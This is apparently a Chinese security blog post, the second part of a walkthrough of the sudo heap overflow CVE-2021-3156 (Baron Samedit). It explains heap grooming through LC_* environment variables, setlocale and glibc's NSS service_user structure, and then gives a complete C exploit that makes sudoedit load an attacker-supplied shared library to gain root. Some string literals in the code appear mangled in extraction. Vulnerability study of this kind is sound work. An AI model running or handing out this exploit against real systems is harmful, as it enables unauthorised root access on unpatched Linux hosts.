高端的二进制0day挖掘,往往只需要从1day的分析开始【下】

一、前言
在上一篇文章中,
AlphaSix,公众号:顺丰安全应急响应中心高端的二进制0day挖掘,往往只需要从1day的分析开始

我们已经详细分析了 CVE-2021-3156 漏洞的成因,并且展示了PoC来验证这一漏洞。CVE-2021-3156,又被称为“Baron Samedit”,是一个影响广泛的 sudo 堆溢出漏洞,允许未经授权的用户在许多 Unix 和 Linux 系统上获得 root 权限。在本篇文章中,我们将深入探讨如何利用这个漏洞,从而进一步理解漏洞利用的细节和技术。通过这次的分析与实践,你将了解到漏洞利用的过程以及其中涉及的关键技术点。

二、漏洞利用方法

对于这个提权漏洞主流的利用方法有三种

对于 CVE-2021-3156 这个提权漏洞,主流的利用方法主要有三种,每种方法都利用了漏洞在不同内存结构上的影响。

参考Qualys的原文:

https://www.openwall.com/lists/oss-security/2021/01/26/3

1. struct sudo_hook_entry 覆写

在这种方法中,攻击者利用漏洞向 struct sudo_hook_entry 结构中写入恶意数据。通过控制该结构中的回调函数指针,攻击者可以劫持程序的控制流,从而执行任意代码。

2. struct service_user 覆写

这个方法利用漏洞覆写 struct service_user 结构。service_user 是一个在 sudo 中用于管理用户信息的结构体,通过覆写其中的字段,攻击者可以劫持程序流,进而获得 root 权限。

3. def_timestampdir 覆写

在这种方法中,攻击者利用漏洞覆写 def_timestampdir 变量。这个变量控制着 sudo 程序的时间戳目录路径,通过覆写该路径,攻击者可以将其指向受控目录,进而影响权限验证机制,实现提权。这种方法主要利用了对文件系统和 sudo 权限管理的理解。

在接下来的分析中,我们将重点探讨第二种方法——struct service_user 覆写。这种方法不仅利用了 sudo 中的关键结构体,还展示了堆溢出漏洞的典型利用方式。我们将一步步解析如何通过精心设计的输入数据,操控内存布局,最终实现对目标系统的提权。通过这一方法的深入分析,你将更加全面地理解漏洞利用的技术细节和防护措施。

三、漏洞利用流程

对于 struct service_user 覆写,这种方法通过精心设计的堆风水布局,结合 setlocale函数 的堆分配,以及 args 的用户输入,覆盖了与 nssfile 相关联的 struct service_user结构体。通过这个覆写过程,攻击者能够控制程序的执行流,并加载特定的 .so 文件,从而实现提权。当然,以上很多名词会让大家感到陌生,下面我们来一一介绍。

1. 堆风水

首先,来解释一下什么是堆风水。(堆风水(Heap Feng Shui)是一种在漏洞利用中常用的技术,旨在通过精心设计输入数据和操控内存分配,使得堆中的特定内存结构按照攻击者的预期方式排列,从而为后续的攻击步骤创造有利条件。对于这个漏洞,你可以简单地理解为,通过用户输入和环境变量,来实现用户输入在内存中分配的堆块和溢出覆盖的堆块有一个固定的offset,覆盖关键的结构从而达到提权效果。

2. setlocate函数

在 sudo 的 main 函数中,setlocale 函数的调用是用于设置程序的区域设置(locale)。区域设置决定了程序如何处理特定语言、数字格式、货币符号、日期和时间的显示格式等本地化相关的特性。具体来说,setlocale 函数配置了 C 标准库中的一些函数,如字符串比较、字符分类、输入/输出格式化等的行为方式。

setlocale 函数的详细作用

1)设置区域(Locale)信息

setlocale 函数的主要作用是设置当前的区域设置信息。区域设置通常包括语言、字符编码、时间格式、货币格式、数字格式等。例如,setlocale(LC_ALL, “en_US.UTF-8”); 会将程序的区域设置为美国英语,使用 UTF-8 编码。

2)影响本地化函数的行为

在 sudo 中,setlocale 的调用会影响一些与本地化相关的库函数。这些函数在处理特定区域数据时会根据 setlocale 的设置来决定如何表现。例如,字符串比较函数 strcoll 会使用 setlocale 设置的区域信息进行比较,而不仅仅是按照字符的二进制值。

3)内存分配和释放

setlocale 函数不仅仅是单纯地设置区域信息,它还会导致底层库分配和释放堆内存。特别是在 sudo 这样的复杂程序中,setlocale 的调用会引发一系列的内存分配操作,包括存储新的区域设置信息、字符映射表、时间格式化模板等。这些分配的内存通常会位于堆中。因此,在一些利用 setlocale 的漏洞攻击中,攻击者通过setlocale 来调整堆的布局,从而影响堆块的分配顺序和位置,这就是堆风水技术的基础。

4)触发 LC_* 环境变量的加载

当 setlocale 被调用时,它可能会从环境变量(如 *LC_ALL*, *LC_CTYPE*, *LC_TIME* 等)中读取区域设置信息。如果这些环境变量被设置,那么 setlocale 会根据这些变量的值来改变程序的行为。这在某些攻击场景中可以被利用,通过设置特定的环境变量来影响 setlocale 的行为,进一步控制程序执行的路径或内存布局。

sudo 中的 setlocale 具体作用

setlocale 函数通常是靠前被调用的,其目的是确保整个 sudo 程序在正确的区域设置下运行。这对于国际化和本地化支持尤为重要,因为 sudo 需要支持多种语言和不同的本地化需求。

然而,在 CVE-2021-3156 的利用中,setlocale 的作用不仅限于设置区域信息。攻击者利用 setlocale 的内存分配行为,配合堆风水,逐步布置堆中的内存块布局,以便在后续的堆溢出攻击中能够精确地覆盖目标内存区域(例如 struct service_user 结构体)。因此,setlocale 在 sudo 的 main 函数中不仅是为了程序的正常运行,还在特定攻击场景中扮演了至关重要的角色,成为了漏洞利用链的一部分。

3. nssfile文件

在 GNU C 库(glibc)中,nsswitch 子系统(Network Service Switch,NSS)负责系统服务的查询机制,例如用户认证、主机名解析等。该机制由 nsswitch.conf 文件配置,定义了不同服务(如 passwd、group、hosts)的查找顺序和方式。

nss服务对应的配置文件/etc/nsswitch.conf
parallels@parallels-Parallels-Virtual-Platform:~/Desktop/CVE-2021-3156$ cat /etc/nsswitch.conf # /etc/nsswitch.conf## Example configuration of GNU Name Service Switch functionality.# If you have the `glibc-doc-reference' and `info' packages installed, try:# `info libc "Name Service Switch"' for information about this file.
passwd: files systemdgroup: files systemdshadow: filesgshadow: files
hosts: files mdns4_minimal [NOTFOUND=return] dnsnetworks: files
protocols: db filesservices: db filesethers: db filesrpc: db files
netgroup: nis

那么这个文件有什么用呢?

glibc/nss/nsswitch.c 是 GNU C 库(glibc)中的一个实现文件,负责解析 /etc/nsswitch.conf 配置文件,并按照配置的顺序调用相应的 NSS 模块(例如 libnss_files.so, libnss_dns.so 等)。

简单说就是读取配置文件(/etc/nsswitch.conf),把读取的结果存储到service_user机构体中,加载结构体中对应的so文件。

4. 简单流程

接下来,我将通过一个简单的图示来解释这个漏洞利用的流程,帮助大家更直观地理解整个攻击过程的关键步骤和逻辑(当然实际上图里的堆块在内存里并不是连续的。图只是方便大家理解)

高端的二进制0day挖掘,往往只需要从1day的分析开始【下】
  1. 用户通过输入argv 和 envp(环境变量)启动sudo

  2. 在sudo通过 setlocale 函数读取envp的LC环境变量并free掉

  3. 在sudo通过 get_user_info 函数初始化service user结构体

  4. 在sudo的漏洞触发点(set_cmnd函数)读取argv 和envp并覆盖service user结构体

5. 详细分析

结合上面的图例,接下来我们将按照图里的流程详细的解释漏洞利用的详细过程。

1. 用户通过输入argv 和 envp(环境变量)启动sudo

首先argv 是用户输入的参数 ,envp是用户输入的环境变量。

用户输入的argv

假设启动参数是sudoedit -i AAA….. (40个A),那么argv[0]应该是 sudoedit,argv[1]便是 -i

用户输入的envp

envp即用户输入的环境变量,这里需要注意的一点是在这个漏洞里,带上envp启动sudo主要是为了用envp触发堆块的分配和释放。接下来我们会跟随sudo的执行流程分析利用过程。

2. 在sudo通过 setlocale 函数读取envp的LC环境变量并free掉

setlocale 函数的调用在sudo的main函数中相对靠前的地方。

高端的二进制0day挖掘,往往只需要从1day的分析开始【下】

关注setlocale函数,主要是因为我们需要利用setlocale函数进行堆布局。正如我之前说的这个函数主要是是用于设置程序的区域设置(locale)。当然我推荐大家可以看下这篇文章加深对这个函数的理解。

https://ssoor.github.io/2020/03/25/c-setlocale/

进入到setlocale函数以后我们首先关注 _nl_global_locale 这个变量

高端的二进制0day挖掘,往往只需要从1day的分析开始【下】

在gdb中查看 _nl_global_locale 的结构体
pwndbg> p _nl_global_locale$13 = {__locales = {0x7fbdf769c6c0 <_nl_C_LC_CTYPE>, 0x7fbdf769cc00 <_nl_C_LC_NUMERIC>, 0x7fbdf769cc80 <_nl_C_LC_TIME>, 0x7fbdf769d500 <_nl_C_LC_COLLATE>, 0x7fbdf769ca40 <_nl_C_LC_MONETARY>, 0x7fbdf769c9c0 <_nl_C_LC_MESSAGES>, 0x0, 0x7fbdf769d1c0 <_nl_C_LC_PAPER>, 0x7fbdf769d220 <_nl_C_LC_NAME>, 0x7fbdf769d2a0 <_nl_C_LC_ADDRESS>, 0x7fbdf769d360 <_nl_C_LC_TELEPHONE>, 0x7fbdf769d3e0 <_nl_C_LC_MEASUREMENT>, 0x7fbdf769d440 <_nl_C_LC_IDENTIFICATION>},__ctype_b = 0x7fbdf764f3c0 <_nl_C_LC_CTYPE_class+256>,__ctype_tolower = 0x7fbdf764e4c0 <_nl_C_LC_CTYPE_tolower+512>,__ctype_toupper = 0x7fbdf764eac0 <_nl_C_LC_CTYPE_toupper+512>,__names = {0x7fbdf7668fd9 <_nl_C_name> "C" <repeats 13 times>}}

其中__locales 代表一些预定义环境变量,查看 locale.h源码

#define __LC_CTYPE 0#define __LC_NUMERIC 1#define __LC_TIME 2#define __LC_COLLATE 3#define __LC_MONETARY 4#define __LC_MESSAGES 5#define __LC_ALL 6#define __LC_PAPER 7#define __LC_NAME 8#define __LC_ADDRESS 9#define __LC_TELEPHONE 10#define __LC_MEASUREMENT 11#define __LC_IDENTIFICATION 12

其次我们需关注的是 _nl_global_locale.__names ,_nl_global_locale.__names实际上是一个大小为13的字符串指针数组,刚好对应13个 LC环境变量的值,此时可以从gdb看到每个环节变量都是初始值_nl_C_name 也就是“C”。locale.h源码中每个 define 都代表一个对应__names字符串指针数组的index。

而__names中字符串的值:为期望设定的locale名称字符串,在Linux/Unix环境下,通常以下面格式表示locale名称:language[_territory][.codeset][@modifier],language 为 ISO 639 中规定的语言代码,territory 为 ISO 3166 中规定的国家/地区代码,codeset 为字符集名称。举个例子 假设__LC_IDENTIFICATION变量的值是 “AAACCC”(当然这不是一个合法的值),那么 __names[__LC_IDENTIFICATION] = “AAACCC”,这都是一一对应的。既然AAACCC不是一个合法的值我们再来说说合法的值应该是怎么样的。

以下为一个合法的LC环境变量的值
LC_IDENTIFICATION=C.UTF-8@AAAAAAAAAAA

LC_IDENTIFICATION=C.UTF-8@AAAAAAAAAAA 是一个不常见的 locale 字符串,它结合了以下部分:

1). C: 指定为 “C” locale,也称为标准 C 语言环境或 POSIX 环境,这个环境是一种默认的、不依赖特定语言或地区的设置。它提供了一个最小化的、独立于语言的环境,一般用于保证程序的可移植性和一致性。

2). UTF-8: 指定字符编码为 UTF-8,表示使用 Unicode 字符集编码,可以支持全球几乎所有的字符。

3). @AAAAAAAAAAA: 是一个自定义的 modifier(修饰符),用来指定 locale 的某种变体或定制。这里的 AAAAAAAAAAA 是一个任意的修饰符字符串,通常用于表示一些特殊的约定或环境。

接下来需要关注setlocale 函数这部分

while (category-- > 0)if (category != LC_ALL){newdata[category] = _nl_find_locale(locale_path, locale_path_len,category,&newnames[category]);
if (newdata[category] == NULL){#ifdef NL_CURRENT_INDIRECTif (newnames[category] == _nl_C_name)/* Null because it's the weak value of _nl_C_LC_FOO. */continue;#endifbreak;}
............}/* Create new composite name. */composite = (category >= 0? NULL: new_composite_name(LC_ALL, newnames));if (composite != NULL){/* Now we have loaded all the new data. Put it in place. */for (category = 0; category < __LC_LAST; ++category)if (category != LC_ALL){setdata(category, newdata[category]);setname(category, newnames[category]);}setname(LC_ALL, composite);
/* We successfully loaded a new locale. Let the message catalogfunctions know about this. */++_nl_msg_cat_cntr;}elsefor (++category; category < __LC_LAST; ++category)if (category != LC_ALL && newnames[category] != _nl_C_name && newnames[category] != _nl_global_locale.__names[category])free((char *)newnames[category]);

while循环会从category=12,也就是从 LC_IDENTIFICATION 开始向前遍历到 LC_CTYPE,然后进入_nl_find_locale函数。_nl_find_locale 函数用于在系统中查找、验证和加载指定类别(category)的 locale 数据。它优先尝试从 locale 存档文件中加载,如果失败,则尝试从文件系统中的其他位置加载。该函数确保找到的 locale 数据是有效的,并且字符集与用户指定的相匹配。加载成功后,它返回指向该 locale 数据的指针。_nl_explode_name函数,分解 locale 名称:

mask = _nl_explode_name(loc_name, &language, &modifier, &territory, &codeset, &normalized_codeset);

然后再把拆分的结果传递给 nl_make_l10nflist函数,_nl_make_l10nflist 会生成多个路径一直递归查找 locale 数据文件,并构建 locale 文件列表。可能会生成以下不同的路径

$5 = 0x55a23fe331f0 "/usr/lib/locale/C.UTF-8.utf8@", 'C' <repeats 32 times>, "/LC_TELEPHONE"$6 = 0x55a23fe33030 "/usr/lib/locale/C.UTF-8@", 'C' <repeats 32 times>, "/LC_TELEPHONE"$7 = 0x55a23fe33370 "/usr/lib/locale/C@", 'C' <repeats 32 times>, "/LC_TELEPHONE"$8 = 0x55a23fe33000 "/usr/lib/locale/C/LC_TELEPHONE"$9 = 0x55a23fe33450 "/usr/lib/locale/C.UTF-8/LC_TELEPHONE"$12 = 0x55a23fe34360 "/usr/lib/locale/C.utf8@", 'C' <repeats 32 times>, "/LC_TELEPHONE"
如果都没找到对应的locale 数据,那么 _nl_find_locale 会返回 NULL,从而进入if (newdata[category] == NULL)的分支,触发break 跳出while循环,然后来到
composite = (category >= 0? NULL: new_composite_name(LC_ALL, newnames));

前面说过while循环会从category=12开始向前遍历慢慢递减,所以循环过程中如果遇到breaks说明有LC变量没有找到对应的locale数据,此时肯定没有遍历完所有LC变量因此 category >= 0 为真,composite 就会赋值为 NULL,然后进入 else 分支

elsefor (++category; category < __LC_LAST; ++category)if (category != LC_ALL && newnames[category] != _nl_C_name && newnames[category] != _nl_global_locale.__names[category])free((char *)newnames[category]);

这个分支会判断 category 是否是LC_ALL, newnames[category]是否为”C”, newnames[category] 不等于 _nl_global_locale.__names[category]。然后从刚才break的index开始从前到后开始 free 对应的newnames[category]内存。newnames[category]实际上是我们输入的LC环境变量,在GDB里可以看到,这个时候我的 newnames[LC_IDENTIFICATION]是我输入的 “C.UTF-8@” + ‘A’ * 32。

高端的二进制0day挖掘,往往只需要从1day的分析开始【下】

当然,从判断条件可以知道,

  1. 我们不能用LC_ALL环境变量。

  2. 且其他LC环境变量的值不能为“C”。

  3. 同时输入的LC变量的值得无法找到对应的locale数据。

这里free的newnames[category]都会进入tcachebins,且大小由我们输入的环境变量LC的大小控制的。同时满足以上三个条件后,我们就能得到大小和顺序都由我们控制的tcachebins堆块。接下来我们会走到 get_user_info。

3. 在sudo通过 get_user_info 函数初始化service user结构体
get_user_info函数最终会读取 PATH_NSSWITCH_CONF(/etc/nsswitch.conf ),并根据读取内容赋值给 service user结构体。(只需要在gdb里这个函数前后 p *service user就能确定是这个函数了)。当然最终实现的还是 __nss_database_lookup2里面的nss_parse_file函数,我们可以b __nss_database_lookup2,再bt查看流程
高端的二进制0day挖掘,往往只需要从1day的分析开始【下】
然后我们来看一下 __nss_database_lookup2中的nss_parse_file函数,这个函数的返回值是 name_database类型,是一个结构体,我们先来说一下这个结构体。
int__nss_database_lookup2 (const char *database, const char *alternate_name,const char *defconfig, service_user **ni){/* Prevent multiple threads to change the service table. */__libc_lock_lock (lock);
/* Reconsider database variable in case some other thread called`__nss_configure_lookup' while we waited for the lock. */if (*ni != NULL){__libc_lock_unlock (lock);return 0;}
/* Are we initialized yet? */if (service_table == NULL)/* Read config file. */service_table = nss_parse_file (_PATH_NSSWITCH_CONF);
/* Test whether configuration data is available. */if (service_table != NULL) ......
/* No configuration data is available, either because nsswitch.confdoesn't exist or because it doesn't have a line for this database.
DEFCONFIG specifies the default service list for this database,or null to use the most common default. */if (*ni == NULL)......
__libc_lock_unlock (lock);
return *ni != NULL ? 0 : -1;}

nss_parse_file 通过逐行解析 /etc/nsswitch.conf 文件,动态创建和链接 name_database_entry、service_user 和 service_library 结构体。

这些结构体一起构成了 NSS 的内部配置表示,定义了每种数据库查找(如 passwd、hosts 等)所使用的服务(如 files、dns 等)及其查找策略。而 service_table 的定义我们能在 nsswitch.h中找到。
typedef enum{NSS_ACTION_CONTINUE,NSS_ACTION_RETURN,NSS_ACTION_MERGE} lookup_actions;
typedef struct service_library{/* Name of service (`files', `dns', `nis', ...). */const char *name;/* Pointer to the loaded shared library. */void *lib_handle;/* And the link to the next entry. */struct service_library *next;} service_library;

typedef struct service_user{/* And the link to the next entry. */struct service_user *next;/* Action according to result. */lookup_actions actions[5];/* Link to the underlying library object. */service_library *library;/* Collection of known functions. */void *known;/* Name of the service (`files', `dns', `nis', ...). */char name[0];} service_user;
typedef struct name_database_entry{/* And the link to the next entry. */struct name_database_entry *next;/* List of service to be used. */service_user *service;/* Name of the database. */char name[0];} name_database_entry;
typedef struct name_database{/* List of all known databases. */name_database_entry *entry;/* List of libraries with service implementation. */service_library *library;} name_database;

由源码可以看出通过 nss_parse_file 解析完后结构体之间的关系图应该如下

高端的二进制0day挖掘,往往只需要从1day的分析开始【下】

接着分析nss_parse_file 源码

static name_database *nss_parse_file (const char *fname){FILE *fp;name_database *result;name_database_entry *last;char *line;size_t len;
/* Open the configuration file. */fp = fopen (fname, "rce");if (fp == NULL)return NULL;
/* No threads use this stream. */__fsetlocking (fp, FSETLOCKING_BYCALLER);
result = (name_database *) malloc (sizeof (name_database));if (result == NULL){fclose (fp);return NULL;}
result->entry = NULL;result->library = NULL;last = NULL;line = NULL;len = 0;do{name_database_entry *this;ssize_t n;
n = __getline (&line, &len, fp);if (n < 0)break;if (line[n - 1] == 'n')line[n - 1] = '';
/* Because the file format does not know any form of quoting wecan search forward for the next '#' character and if foundmake it terminating the line. */*__strchrnul (line, '#') = '';
/* If the line is blank it is ignored. */if (line[0] == '')continue;
/* Each line completely specifies the actions for a database. */this = nss_getline (line);if (this != NULL){if (last != NULL)last->next = this;elseresult->entry = this;
last = this;}}while (!__feof_unlocked (fp));
/* Free the buffer. */free (line);/* Close configuration file. */fclose (fp);
return result;}
  1. 用 __getline (&line, &len, fp);申请一个0x80的块读入每行。
  2. 跳过注释行和空行

  3. 对有效的行 进入nss_getline函数。

接着来看 nss_getline函数

static name_database_entry *nss_getline (char *line){const char *name;name_database_entry *result;size_t len;
/* Ignore leading white spaces. ATTENTION: this is different fromwhat is implemented in Solaris. The Solaris man page says a linebeginning with a white space character is ignored. We regardthis as just another misfeature in Solaris. */while (isspace (line[0]))++line;
/* Recognize `<database> ":"'. */name = line;while (line[0] != '' && !isspace (line[0]) && line[0] != ':')++line;if (line[0] == '' || name == line)/* Syntax error. */return NULL;*line++ = '';
len = strlen (name) + 1;
result = (name_database_entry *) malloc (sizeof (name_database_entry) + len);if (result == NULL)return NULL;
/* Save the database name. */memcpy (result->name, name, len);
/* Parse the list of services. */result->service = nss_parse_service_list (line);
result->next = NULL;return result;}
  1. 首先会把:前后分开, 以顺序第一行为例 “passwd: ……”。把passwd赋值给name

  2. malloc创建name_database_entry结构体。

  3. 把name 赋值到name_database_entry -> name

  4. 然后有效的部分进入 nss_parse_service_list。
然后来到nss_parse_service_list函数
static service_user *nss_parse_service_list (const char *line){service_user *result = NULL, **nextp = &result;
while (1){service_user *new_service;const char *name;
while (isspace (line[0]))++line;if (line[0] == '')/* No source specified. */return result;
/* Read <source> identifier. */name = line;while (line[0] != '' && !isspace (line[0]) && line[0] != '[')++line;if (name == line)return result;
new_service = (service_user *) malloc (sizeof (service_user)+ (line - name + 1));if (new_service == NULL)return result;
*((char *) __mempcpy (new_service->name, name, line - name)) = '';..................
  1. new_service->name:这是 service_user 结构体的 name 成员,定义为 char name[0];。因为 name 是一个零长度数组,实质上 new_service->name 指向的是分配的结构体后面的内存区域。

  2. name:指向需要复制的字符串的开始位置。

  3. line – name:计算需要复制的字节数(即字符串长度)。

  4. __mempcpy (new_service->name, name, line – name):将从 name 开始的 line – name 个字符复制到 new_service->name 指向的内存区域,并返回该区域最后一个字符的下一个位置的指针。

  5. *((char *) __mempcpy (new_service->name, name, line – name)) = ‘’;:将 __mempcpy 返回的指针转换为 char * 类型,并在该位置设置 ‘’(字符串结束符)。

举个例子,刚才上面已经把 passwd:分号前面的处理了,这里就是处理分号后面的,还是同一行为例
passwd: files systemd

这里会把为 service_user malloc一块堆块,由于堆栈对齐的原因大小刚好为0x40(这里就解释了上面流程图中我们为什么要LC变量的大小为0x40,因为上面的LC变量释放的堆块进入tcachebins 以后,这里malloc能重新分配到tcachebin里面0x40的堆块),上面分析了service_user的结构体,在malloc的时候

new_service = (service_user *) malloc (sizeof (service_user)+ (line - name + 1));

实际上分配的就是 service_user的大小 加上name的大小 + 1,根据对齐规则,调整到 64 字节(0x40),这就是分配大小变为 0x40 的原因。然后再把name复制到service_user -> name里面然后加一个字符终止符‘’。

当读取完成后,一部分就会如下图所示

高端的二进制0day挖掘,往往只需要从1day的分析开始【下】

然后程序来到 nss_load_library函数

高端的二进制0day挖掘,往往只需要从1day的分析开始【下】
static intnss_load_library(service_user *ni){if (ni->library == NULL){/* This service has not yet been used. Fetch the servicelibrary for it, creating a new one if need be. If thereis no service table from the file, this static variableholds the head of the service_library list made from thedefault configuration. */static name_database default_table;ni->library = nss_new_service(service_table ?: &default_table,ni->name);if (ni->library == NULL)return -1;}
if (ni->library->lib_handle == NULL){/* Load the shared library. */size_t shlen = (7 + strlen(ni->name) + 3 + strlen(__nss_shlib_revision) + 1);int saved_errno = errno;char shlib_name[shlen];/* Construct shared object name. */__stpcpy(__stpcpy(__stpcpy(__stpcpy(shlib_name,"libnss_"),ni->name),".so"),__nss_shlib_revision);
ni->library->lib_handle = __libc_dlopen(shlib_name);

触发提权的点在

ni->library->lib_handle = __libc_dlopen(shlib_name);

为了满足进入这个分支的条件,传递过来的service_user *ni,ni->library == NULL必须为真,这个时候才会满足条件调用 nss_new_serivice

static service_library *nss_new_service(name_database *database, const char *name){service_library **currentp = &database->library;
while (*currentp != NULL){if (strcmp((*currentp)->name, name) == 0)return *currentp;currentp = &(*currentp)->next;}/* We have to add the new service. */*currentp = (service_library *)malloc(sizeof(service_library));if (*currentp == NULL)return NULL;
(*currentp)->name = name;(*currentp)->lib_handle = NULL;(*currentp)->next = NULL;
return *currentp;}
  1. nss_new_serivice 最终会把传进来的 lib_handle赋值为null也就是 ni->library->lib_handle == NULL,才会满足nss_load_library函数中的if (ni->library->lib_handle == NULL)的条件然后进入这个分支,

  2. 这个分支会合并 libnss_,ni->name,.so 和__nss_shlib_revision并保存到shlib_name。

  3. 然后通过__libc_dlopen函数加载第二点里名字合并以后的so文件。
所以必须满足 ni->library == NULL 才会运行 __libc_dlopen函数。因此按照上面的漏洞利用流程图里,我们覆盖的同时应该注意把 ni->library 覆盖成 0x0000000000000000,同时 ni->name 覆盖成我们自己定义路径里的so文件就能加载我们自己的so文件从而提权了。
高端的二进制0day挖掘,往往只需要从1day的分析开始【下】

接下来就来到sudo的漏洞触发点了

4. 在sudo的漏洞触发点(set_cmnd函数)读取argv 和envp并覆盖service user结构体

上一篇文章

AlphaSix,公众号:顺丰安全应急响应中心高端的二进制0day挖掘,往往只需要从1day的分析开始
说过触发漏洞的poc需要带 -i 参数,用户输入的argv去掉前面的argv[0] 和 argv[1]以后就是对应下图中的 NewArgv,而 NewArgv 的大小会影响实际堆分配的大小。那么对应下图(set_cmnd函数)sudoers.c:854行里malloc(size)的size,记住这个size,很重要。你输入的参数的大小,决定你能获得一个多大的堆块。假设你分配了一个大小为0x20的堆块,如果tcachebins刚好有0x20堆块,那你就可以分配到这个堆块。
高端的二进制0day挖掘,往往只需要从1day的分析开始【下】

需要注意的是,如果你想malloc一个堆块,且刚好分配到tcachebin里面的代码可以参考一下malloc中的源码

# define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)# define request2size(req) (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? MINSIZE : ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
............void *__libc_malloc (size_t bytes){mstate ar_ptr;void *victim;
_Static_assert (PTRDIFF_MAX <= SIZE_MAX / 2,"PTRDIFF_MAX is not more than half of SIZE_MAX");
void *(*hook) (size_t, const void *)= atomic_forced_read (__malloc_hook);if (__builtin_expect (hook != NULL, 0))return (*hook)(bytes, RETURN_ADDRESS (0));#if USE_TCACHE/* int_free also calls request2size, be careful to not pad twice. */size_t tbytes;if (!checked_request2size (bytes, &tbytes)){__set_errno (ENOMEM);return NULL;}size_t tc_idx = csize2tidx (tbytes);
MAYBE_INIT_TCACHE ();
DIAG_PUSH_NEEDS_COMMENT;if (tc_idx < mp_.tcache_bins&& tcache&& tcache->counts[tc_idx] > 0){return tcache_get (tc_idx);}............
/* Check if REQ overflows when padded and aligned and if the resulting valueis less than PTRDIFF_T. Returns TRUE and the requested size or MINSIZE incase the value is less than MINSIZE on SZ or false if any of the previouscheck fail. */static inline boolchecked_request2size (size_t req, size_t *sz) __nonnull (1){if (__glibc_unlikely (req > PTRDIFF_MAX))return false;*sz = request2size (req);return true;}

上面其实就是malloc(size)时候函数会把传入的size传到 csize2tidx中把大小转换了 tc_idx,这个tc_idx其实就是 tcachebin数组的index,这个数组是tcachebins中堆块从小到大的堆块的地址。

tc_idx | Chunk Size--------------------0 | 201 | 302 | 403 | 504 | 605 | 706 | 807 | 908 | a09 | b010 | c011 | d012 | e013 | f014 | 10015 | 110

(以下内容可以跳过和这个漏洞关系不大,可直接跳到 Exp编写)一般情况下我们需要一个 0x40的堆块只需要malloc分配的时候size也是0x40就好了,但是有些时候不是完全相等的。例如要使 tc_idx 为 6,我们需要计算出使得 csize2tidx 函数返回 6 的 req 值。我们知道 csize2tidx 的定义是:

#define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)
我们要找到满足 csize2tidx(req) = 6 的 req 值。
高端的二进制0day挖掘,往往只需要从1day的分析开始【下】

为了使 tc_idx 为 6,req 应该是 112

四、Exp 编写

好了漏洞利用的所有知识大家都已经知道,接下来我们可以开始用堆风水编写EXP了,首先我们的思路是这样的

  1. 利用LC环境变量分配 4个0x40的堆块,当然第三个和第四个之间有其他大小的堆块,我们暂称为overflow chunk,选择在第三个和第四个之间主要是想拿到第四个0x40之前的某个堆块然后向后覆盖第四个堆块,也就是第四个 service_user堆块,然后在 overflow chunk溢出向后覆盖service_user的 library和name,同时为了触发 setlocale中free的部分,必须要有一个无法寻找到的LC变量(我乱写了一个LC_MONETARY=mg_GEM.UTF-8@ + A * 0xb8),因为mg_GEM这部分是无法找到的,所以触发setlocale中free的部分循环释放所有LC变量。

  2. 我们需要把Agrv的大小和 overflow chunk一样,这样我们在set_cmnd函数才能拿到之前 第三个和第四个之间的 overflow chunk。

  3. 然后计算偏移看看溢出以后需要多少padding才能到第四个service_user堆块

  4. 覆盖的同时应该注意把 ni->library 覆盖成 0x0000000000000000,同时 ni->name 覆盖成我们自己定义路径里的so文件就能加载我们自己的so文件从而提权了。

  5. 写一个so文件执行我们的shellcode(这个写法很多,网上随便找一个就好)

最终Exp如下
#include <stdio.h>#include <unistd.h> // execve()#include <string.h> // strcat()
// LC_ENV#define __LC_CTYPE 0#define __LC_NUMERIC 1#define __LC_TIME 2#define __LC_COLLATE 3#define __LC_MONETARY 4#define __LC_MESSAGES 5#define __LC_ALL 6#define __LC_PAPER 7#define __LC_NAME 8#define __LC_ADDRESS 9#define __LC_TELEPHONE 10#define __LC_MEASUREMENT 11#define __LC_IDENTIFICATION 12
/*gdb commands
catch execset follow-exec-mode new
b set_cmndb policy_checkb sudoers.c:872b nss_load_libraryb __nss_database_lookup2b _nl_make_l10nflist p *service_table -> entry -> next -> service -> next*/
// 通用初始化函数void init_lc_var(char *buffer, size_t buffer_size, const char *initial_value, char fill_char, size_t fill_size) {strncpy(buffer, initial_value, buffer_size - 1); // 防止溢出,确保buffer有空间存放填充字符size_t initial_length = strlen(buffer);if (initial_length < buffer_size - 1) {memset(buffer + initial_length, fill_char, fill_size);buffer[buffer_size - 1] = ''; // 确保以null结尾}}
int main() {
char lc_monetary[0xe0];char lc_telephone[0x40];char lc_measurement[0x40];char lc_identification[0x40];
init_lc_var(lc_monetary, sizeof(lc_monetary), "LC_MONETARY=mg_GEM.UTF-8@", 'D', 0xb4);init_lc_var(lc_telephone, sizeof(lc_telephone), "LC_TELEPHONE=C.UTF-8@", 'C', 0x20);init_lc_var(lc_measurement, sizeof(lc_measurement), "LC_MEASUREMENT=C.UTF-8@", 'B', 0x20);init_lc_var(lc_identification, sizeof(lc_identification), "LC_IDENTIFICATION=C.UTF-8@", 'A', 0x20);
// print varprintf("%sn", lc_monetary);printf("%sn", lc_telephone);printf("%sn", lc_measurement);printf("%sn", lc_identification);
char argv2[0xf0] = {[0 ... 0xdf] = 'E'}; strcat(argv2, "\");
char* argv[] = {"sudoedit", "-i", argv2, NULL};char overflow[0x1C0] = {[0 ... 0x1BE] = 'F'}; strcat(overflow, "\");
char so_name[] = "x/shell\"; char* envp[] = {overflow,"\", "\", "\", "\", "\", "\", "\","actions\","\", "\", "\", "\", "\", "\", "\", "\","\", "\", "\", "\", "\", "\", "\", "\",so_name,"gem",lc_monetary, lc_telephone, lc_measurement, lc_identification,NULL};
execve("/usr/local/bin/sudoedit", argv, envp);return 0;}
接下来让我们一步一步解释代码
init_lc_var(lc_monetary, sizeof(lc_monetary), "LC_MONETARY=mg_GEM.UTF-8@", 'D', 0xb4);init_lc_var(lc_telephone, sizeof(lc_telephone), "LC_TELEPHONE=C.UTF-8@", 'C', 0x20);init_lc_var(lc_measurement, sizeof(lc_measurement), "LC_MEASUREMENT=C.UTF-8@", 'B', 0x20);init_lc_var(lc_identification, sizeof(lc_identification), "LC_IDENTIFICATION=C.UTF-8@", 'A', 0x20);

其中 ,lc_identification, lc_measurement, lc_telephone都是为了留下0x40大小的chunk,而LC_MONETARY在函数_nl_make_l10nflist中不断递归最终回留下0xe0, 0xf0, 0x40, 0x30大小的chunk,这是因为不同的mask位和寻找不到LC_MONETARY对应的值导致的。可以在gdb里看到运行完setlocale之后bins的情况

